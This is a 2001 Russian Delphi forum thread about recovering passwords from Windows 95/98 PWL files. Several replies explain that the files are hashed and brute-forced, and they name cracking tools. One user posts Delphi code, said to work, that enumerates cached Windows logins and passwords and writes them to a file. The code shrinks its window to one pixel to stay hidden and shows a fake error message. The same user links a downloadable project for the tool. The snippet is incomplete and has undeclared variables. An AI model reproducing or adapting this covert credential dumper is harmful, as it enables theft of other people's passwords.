Мастера DELPHI (документация, исходники, скачать)

Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

расшифровка PWL [D5, Win95/98]

Страницы: < 1 2 3 >
Di_wind © (2001-11-03 14:23:00)
Может кто все-таки скажет я уже неоднократно поднимал сей вопрос только все ссылалсиь на то что гд-то это уже есть но на самом деле нигде ничего про рашифровку нету так может кто скажет все-таки как?

Anatoly Podgoretsky (2001-11-10 11:46:00) [21]
А ты уверен, что они их там хранит?
У меня например в реестре, а вот там они не кешированные, а шифрованные

Tosov (2001-11-10 00:42:00) [22]
Вопрос : как PWL могут шифроваться необратимым алгоритмом, если в них находятся логины и пароли не только на вход в сеть (комп). Там и на dialup должны быть. И как их в таком случае винда узнает??

Anatoly Podgoretsky (2001-11-09 22:01:00) [23]
TheNobody © (07.11.01 05:58)
Дал реальный метод взлома, но это не расшифровка, так как сие не возможно, так как пароли не хранятся, есть хеш он сигнатура

Fellomena (2001-11-09 14:42:00) [24]
Мда... ребята, вы даёте8) как парвильно выразился panov: хацкеров у нас полно 8)
Может кто ещё пришлёт обратный алгоритм DES-а или MD5 ?
Буду очень благодарна - денег много дам - а вам тут же Нобиля 8)))
Для тех кто в танке: pwl-ки расшифровывались с помощью обратного алгоритма, только в
старых Виндах (ещё в 95 и то не всех). А сейчас используют методы необратимого кодирования.
Поищите в www.yandex.ru что нибудь по ключу des, solt, crypt, passwd и не
позорьте нацию !

Ajax (2001-11-07 17:26:00) [25]
Странно конечно, но через эксплорер действительно не работает. А вот если скопировать этот адрес и вставить в какой-нибудь менеджер закачки (ну там Reget какой-нибуть) то все ништяк.

Di_wind (2001-11-07 15:34:00) [26]
>>Ajax нерабоает :)

Ajax (2001-11-07 14:38:00) [27]
2Di_wind&andersen: Тогда я по почте не буду слать. Если надо можете слить с http://atalexis.narod.ru/download/Sources/pswtakes.rar(Моя страничка. Я только щас разбираюсь что да как, так что над дизайном не смеятся, а лучше помочь.)

panov (2001-11-07 14:10:00) [28]
Блин, сколько "хакеров" развелось...

TheNobody (2001-11-07 05:58:00) [29]
Да никак его не расшифровывают!!!!!
Он ХЕШИРОВАН и всё тут.
Его только подбирают по словарю или брутфорсом.
Для этого тулзов, ну море понаписано.
Одну из них зовут PWLHack.
Могу скинуть нуждающимся.
Правда исходников у меня нет.
И незнаю я как он хешируется.

panov (2001-11-07 01:59:00) [30]
Вы только посмотрите - как надо файл .pwl расшифровать...

Di_wind (2001-11-06 23:28:00) [31]
надо

andersen (2001-11-06 22:39:00) [32]
>Ajax
И мне плиз.

Ajax (2001-11-06 17:47:00) [33]
Давай я тебе по почте вышлю весь проект и скомпилированный EXE. Надо?

Di_wind (2001-11-05 18:07:00) [34]
у меня выдает WARNING! System error! Can""t read data files наверно я урод....:)

Ajax (2001-11-05 15:56:00) [35]
Работает на 100%. Код не мой.

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;

implementation

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name "WNetEnumCachedPasswords";
type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
inc(Count);

Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);

Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + ": " + StrPas(PC);
Writeln(F,password);
Result := True;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
form1.Height := 1;
form1.Width := 1;
AssignFile(F,"D:\result.txt");
Rewrite(F);
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox("WARNING! System error! Can""t read data files.", "Error", mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
ListBox.Items.Add("There is no files in system directory");
CloseFile(F);
application.Terminate ;
end;

Dima-k17 (2001-11-05 10:53:00) [36]
>Ajax
Нет,осторожный.

33 (2001-11-05 01:10:00) [37]
To:Di_wind ©
Думать надо головой, а не языком.

Этот вопрос с разными вариантами уже обсуждался.
И исходники выкладивались. Надо только поискать,
подумать и кое-что добавить.

С мозгами нынче напряженка, а с языком - без проблем.

Di_wind (2001-11-04 18:13:00) [38]
>>кто-то из толпы а хрен-ли выпендриваешся тогда?

кто-то из толпы (2001-11-04 16:50:00) [39]
Есть вариант не воровать PWL, а с помощью функкций (не скажу каких)
сразу получать на компе его номера телефонов login и Pass.

У меня работает, но исходник не дам.

Di_wind (2001-11-04 15:34:00) [40]
>>Remy вопервых что такое count? во вторых то что ты дал неработает выводит ":" может я неправильно набпал а может из-за count"a (я его отключил);
>>Ajax я наверно неправильно поставил вопрос мне нужно пароль той машины на которой работаешь т.е видимио пароль храняться где-тов памяти...

Страницы: < 1 2 3 >

Наверх

	« предыдущая ветвь \| форум \| следующая ветвь »